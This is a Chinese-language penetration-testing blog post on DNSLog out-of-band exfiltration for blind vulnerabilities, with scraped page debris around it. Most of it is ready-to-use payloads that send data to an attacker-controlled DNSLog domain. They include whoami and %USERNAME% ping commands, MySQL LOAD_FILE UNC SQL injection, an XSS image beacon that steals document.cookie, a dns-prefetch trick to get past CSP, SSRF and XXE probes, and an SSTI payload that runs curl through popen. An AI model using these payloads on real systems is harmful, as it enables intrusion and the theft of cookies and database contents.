<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    DNSLog 盲注總結

    VSole2022-05-07 06:52:34

    眾所周知,我們輸入的域名需要通過DNS服務器進行解析得到IP地址才能通過IP訪問網站,DNSLog就是存儲在DNS服務器上的域名信息,它記錄著用戶對域名訪問的信息,類似日志文件。我們只需要搭建一個的DNS服務器,并將要盲打或盲注的回顯,放到自己域名的二級三級甚至更多級的子域名上去請求,就可以通過DNS解析日志來獲取到它們。

    DNSLog部署過程:

    1. 申請一個域名,如 xie.com
    2. 在我們的VPS上安裝并配置DNS服務器
    3. 將 xie.com 的DNS服務器設置為我們的VPS地址

    這樣,所有訪問 xie.com 的二級三級四級等等子域名都會被解析到我們的VPS上。我們就可以通過查詢DNS解析記錄來獲得命令執行的回顯了。

    由于申請域名需要錢還要進行部署,十分麻煩,我們可以利用一些在線的DNSLog平臺:

    • http://ceye.io
    • http://www.dnslog.cn

    這里我們取得一個DNS域名

    t6n089.ceye.io
    

    命令執行

    無回顯得命令執行語句可以使用DNSLog來查看結果。

    • window

    ping %USERNAME%.t6n089.ceye.io
    


    • *nix

    ping `whoami`.t6n089.ceye.io
    


    都可以看到我們的用戶名顯示在域名的最左邊

    SQL

    通過DNSlog盲注需要用的load_file()函數,所以一般得是root權限。先show variables like '%secure%';查看load_file()可以讀取的磁盤。

    mysql> show variables like '%secure%';+--------------------------+-------+| Variable_name            | Value |+--------------------------+-------+| require_secure_transport | OFF   || secure_auth              | ON    || secure_file_priv         | NULL  |+--------------------------+-------+3 rows in set, 1 warning (0.01 sec)
    
    • 當secure_file_priv為空,就可以讀取磁盤的目錄。
    • 當secure_file_priv為G:\,就可以讀取G盤的文件。
    • 當secure_file_priv為null,load_file就不能加載文件。

    這里為NULL,因此需要在my.ini配置文件中修改權限,把配置文件中的這一行改為(沒有就加上):

    secure_file_priv=""
    

    UNC路徑

    以下是百度的UNC路徑的解釋

    UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。

    其實我們平常在Widnows中用共享文件的時候就會用到這種網絡地址的形式\\sss.xxx\test\

    這也就解釋了為什么CONCAT()函數拼接了4個\了,因為轉義的原因,4個就變\成了2個\,目的就是利用UNC路徑。

    因為Linux沒有UNC路徑這個東西,所以當MySQL處于Linux系統中的時候,是不能使用這種方式外帶數據

    payload:

    SELECT LOAD_FILE(CONCAT('\\\\',(查詢語句),'.t6n089.ceye.io\\abc'));
    

    example:

    在本地搭建了一個SQL注入的環境,在XP系統上似乎不行,原因未知,而在WIN10能夠成功執行。

    http://127.0.0.1:81/db.php?id=' and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.t6n089.ceye.io\\abc')))--+
    

    XSS

    對于沒有回顯的XSS,我們要想知道是否成功也可以利用src屬性填入得到的域名。

    example:

    payload:

    http://127.0.0.1:81/sql.php?input=>6n089.ceye.io/aaa>
    


    繞過CSP

    CSP(內容安全策略)是防御XSS最有效的手段之一。當我們發現一個網站有XSS漏洞,想利用XSS平臺來打Cookie時,CSP會通過白名單的方式,禁止跨域加載腳本,惡意代碼便會因此被阻擋在門外,導致此XSS無法利用。對此,我們可以使用DNS預解析突破CSP的阻攔。

    DNS預解析(DNS Prefetching)是一種能夠加快網頁加載速度的技術,對于跨站的鏈接,由于每次都要進行一次DNS解析,會消耗掉很多時間。DNS預解析在瀏覽器空閑時,將跨站資源的域名轉化為IP 地址并緩存,真正請求資源時就避免了解析的時間。有趣的是,DNS預解析是默認開啟的,并且我們可以通過rel="dns-prefetch"來強制進行DNS預解析。

    由于DNS預解析可以繞過CSP進行解析,結合DNSLOG,我們即可竊取在CSP保護下的Cookie。

    example:

    網站的源碼:

    setcookie("test","test",time()+3600);?><html><meta http-equiv="Content-Security-Policy" content="default-src 'self'"><head><title>DNSLog_XSS原理重現title>head><body><form action="" method="get"><input type="text" name="input"><input type="submit">form><hr>$xss = $_GET['input'];echo '你輸入的字符為
    '.$xss;$myfile = fopen("./set_cookie.js", "w") or die("Unable to open file!");fwrite($myfile, $xss);fclose($myfile);?><script src="set_cookie.js">script>body>html>
    

    這里網站通過標簽設置了CSP為只能加載當前域名的腳本,也就是說無法使用內聯的腳本,攻擊者需要找到能夠注入XSS的JavaScript腳本的外聯文件,這里我們可以看到后端把我們輸入的值寫入了set_cookie.js文件中,然后又通過外聯腳本引入了這個文件,這樣我們就可以通過這里來進行XSS攻擊。

    在沒有CSP情況下,我們通常是通過等有src屬性的標簽帶上cookie作為參數去訪問我們的服務器:

    var img = document.createElement("img");img.src = "http://t6n089.ceye.io/log?"+escape(document.cookie);document.body.appendChild(img);
    

    由于這里有CSP限制了不能讀取外部的資源,因此這里會報錯。

    這里我們就可以使用DNS預解析去進行繞過:

    payload:

    ?input=document.querySelector('body').innerHTML="";
    

    URL編碼后:

    ?input=document.querySelector('body').innerHTML%3D%22%3Clink%20rel%3D'dns-prefetch'%20href%3D'http%3A%2F%2F%22%2Bdocument.cookie.split(%2F%3B%7C%3D%2F)%5B0%5D.trim()%2B%22.t6n089.ceye.io'%3E%22%3B
    

    這種利用方法十分苛刻,因為不僅要找到能夠修改后臺的外聯JavaScript文件的方法,而且作為XSS攻擊,此payload過長,容易被懷疑,而使用短鏈接加載外部腳本有會被CSP禁止,再加上根據DNS的規定,域名的長度是有限制的,有時可能不發將長cookie完全帶出。

    SSRF

    一個沒有回顯的SSRF場景,我們同樣可以通過DNSLog知道是否存在漏洞

    example:

    http://127.0.0.1:81/sql.php?url=http://ssrf.t6n089.ceye.io
    

    XXE

    當我們遇到XXE,如果這個XXE漏洞可以解析外部實體,那么不用說,就可以拿來讀取本地服務器文件,這時,我們只需把dtd文件改成這樣

    root [remote SYSTEM "http://t6n089.ceye.io">%remote;]><root>666<root/>
    

    就可以通過DNS服務器來查看是否存在XXE漏洞。

    模板注入

    在模板注入碰到盲注的時候可以使用

    {% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.t6n089.ceye.io").read()=='ssti' %}1{% endif %}
    

    參考資料

    巧用DNSlog實現實現無回顯注入:http://www.0xby.com/916.html

    Bypassing Content-Security-Policy with DNS prefetching:https://blog.compass-security.com/2016/10/bypassing-content-security-policy-with-dns-prefetching/

    使用DNSLOG獲取漏洞的回顯:https://www.redhatzone.com/ask/article/1402.html

    dnsxss
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    淺談DNS-rebinding
    2023-04-13 09:34:13
    在這種攻擊中,惡意網頁會導致訪問者運行客戶端腳本,攻擊網絡上其他地方的計算機。同源策略對Web應用程序具有特殊意義,因為Web應用程序廣泛依賴于HTTP cookie來維持用戶會話,所以必須將不相關網站嚴格分隔,以防止丟失數據泄露。值得注意的是同源策略僅適用于腳本,這意味著某網站可以通過相應的HTML標簽訪問不同來源網站上的圖像、CSS和動態加載 腳本等資源。即TTL的數值越小,修改記錄后所受的影響生效越快。等惡意腳本響應受害者。
    國外白帽團隊針對VPN組件進行研究,快速搜索得到了大約50,000個Citrix Gateway實例可公開訪問,因此,即使是像跨站腳本這樣的小問題也會產生潛在的巨大影響。在研究過程中,他們發現了一個開放的重定向漏洞,該漏洞無需身份驗證即可被利用,如果Citrix Gateway部署在這樣的配置中,甚至還能將其轉移到CRLF注入中,從而導致XSS或潛在的緩存中毒。在這篇文章之前,他們對一百個Citrix Gateway實例進行了快速掃描,發現仍有超過一半的實例未修補。(一個類似于FreeBSD的實用程序?
    目前,針對DNS的攻擊已經成為網絡安全中的一個嚴重問題,每年都有數千個網站成為此類攻擊的受害者。需要強調的是,這種攻擊的目的主要用于隱藏蹤跡或阻礙受害者恢復工作。工作原理是,一臺機器向另一臺機器發送ICMP回應請求。而攻擊者可以濫用ICMP回應答復機制使受害者的網絡不堪重負。不過攻擊者必須知道受害者的IP地址才能明確攻擊的重點。此外,攻擊者還要了解受害者路由器的相關信息。
    一.DNS歷史解析記錄查詢域名的歷史解析記錄,可能會找到網站使用CDN前的解析記錄,從而獲取真實IP。
    0x02 安裝與使用1、安裝方式golang >= 1.17 node >= 14.17.6 npm >= 8.5.5 yarn >= 1.22.17. ./go4Hacker serve -4 192.168.0.107 -domain 51pwn.com -lang zh-CN. 首次運行時,密碼將顯示在控制臺日志中。
    DNSLog 盲注總結
    2022-05-07 06:52:34
    眾所周知,我們輸入的域名需要通過DNS服務器進行解析得到IP地址才能通過IP訪問網站,DNSLog就是存儲在DNS服務器上的域名信息,它記錄著用戶對域名訪問的信息,類似日志文件。我們只需要搭建一個的DNS服務器,并將要盲打或盲注的回顯,放到自己域名的二級三級甚至更多級的子域名上去請求,就可以通過DNS解析日志來獲取到它們。
    前陣子做了一下 Dice CTF 2021,做出了幾個 XSS ,本次就寫一下包括復現題在內的所有學習筆記。
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    它比子域枚舉以及各種漏洞檢查和獲取關于目標的最大信息的工作更出色。該工具使用了很多技術用于子域枚舉,幫助你獲得最大和最有趣的子域,使你在競爭中領先。它還執行各種漏洞檢查,如XSS、打開重定向、SSRF、CRLF、LFI、SQLi、SSL測試、SSTI、DNS區域傳輸等等。?
    前言在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起 DNS 請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。DNS 的全稱是 Domain Name System,它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如 www.baidu.com,網絡上的 DNS Server 會將該域名解析,并找到對應的真實 IP 如 127.0.0.1,使用戶可以訪問這臺服務器上相應的服務。了解到了什么是 DNS,那么什么又是 DNSlog 呢?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类